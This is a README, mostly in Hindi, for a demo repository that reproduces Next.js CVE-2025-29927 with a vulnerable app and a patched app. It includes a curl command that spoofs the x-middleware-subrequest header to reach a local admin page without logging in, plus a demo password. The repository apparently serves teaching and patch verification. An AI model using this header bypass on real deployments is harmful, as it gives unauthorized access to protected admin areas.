
Next.js CVE-2025-29927 प्रदर्शन
यह रिपॉजिटरी Next.js भेद्यता CVE-2025-29927 का प्रदर्शन है, जो Next.js संस्करण 15.2.2 और उससे पहले के संस्करणों को प्रभावित करती है। यह भेद्यता हमलावरों को x-middleware-subrequest हेडर सेट करके मिडलवेयर प्रमाणीकरण जांच को बायपास करने की अनुमति देती है।
यह एक NX मोनोरिपो है जिसमें दो Next.js एप्लिकेशन हैं:
Next.js के 15.2.3 से पहले के संस्करणों में, मिडलवेयर कार्यान्वयन में एक सुरक्षा भेद्यता है। मिडलवेयर x-middleware-subrequest हेडर के मूल को ठीक से मान्य नहीं करता है, जिससे हमलावर इस हेडर को स्पूफ कर सकते हैं और मिडलवेयर-आधारित प्रमाणीकरण जांच को बायपास कर सकते हैं।
# Navigate to the repository
cd nextjs-vulnerability
# Install dependencies for the vulnerable app
cd apps/vulnerable-app
npm install
# Start the vulnerable app
npm run dev
भेद्य एप्लिकेशन http://localhost:3000 पर उपलब्ध होगा।
# Navigate to the repository
cd nextjs-vulnerability
# Install dependencies for the fixed app
cd apps/fixed-app
npm install
# Start the fixed app
npm run dev
फिक्स्ड एप्लिकेशन http://localhost:3001 पर उपलब्ध होगा।
आप Docker का उपयोग करके भी एप्लिकेशन चला सकते हैं:
# For the vulnerable app
cd apps/vulnerable-app
docker build -t nextjs-vulnerable .
docker run -p 3000:3000 nextjs-vulnerable
# For the fixed app
cd apps/fixed-app
docker build -t nextjs-fixed .
docker run -p 3001:3000 nextjs-fixed
# Using curl
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin
# Or use a browser extension like ModHeader to add the header
# and then visit http://localhost:3000/admin
भेद्य संस्करण (15.2.2) के साथ, आप x-middleware-subrequest हेडर जोड़कर बिना प्रमाणीकरण के एडमिन पेज तक पहुंच सकेंगे।
फिक्स्ड संस्करण (15.2.3) के साथ, मिडलवेयर इस हेडर के मूल को सही ढंग से मान्य करता है, और आप अभी भी लॉगिन पेज पर रीडायरेक्ट होंगे।
डेमो उद्देश्यों के लिए, आप इनके साथ लॉग इन कर सकते हैं:
adminpassword123यदि आप प्रोडक्शन में Next.js का उपयोग कर रहे हैं, तो इस भेद्यता से बचाव के लिए संस्करण 15.2.3 या उससे बाद के संस्करण में अपडेट करना सुनिश्चित करें।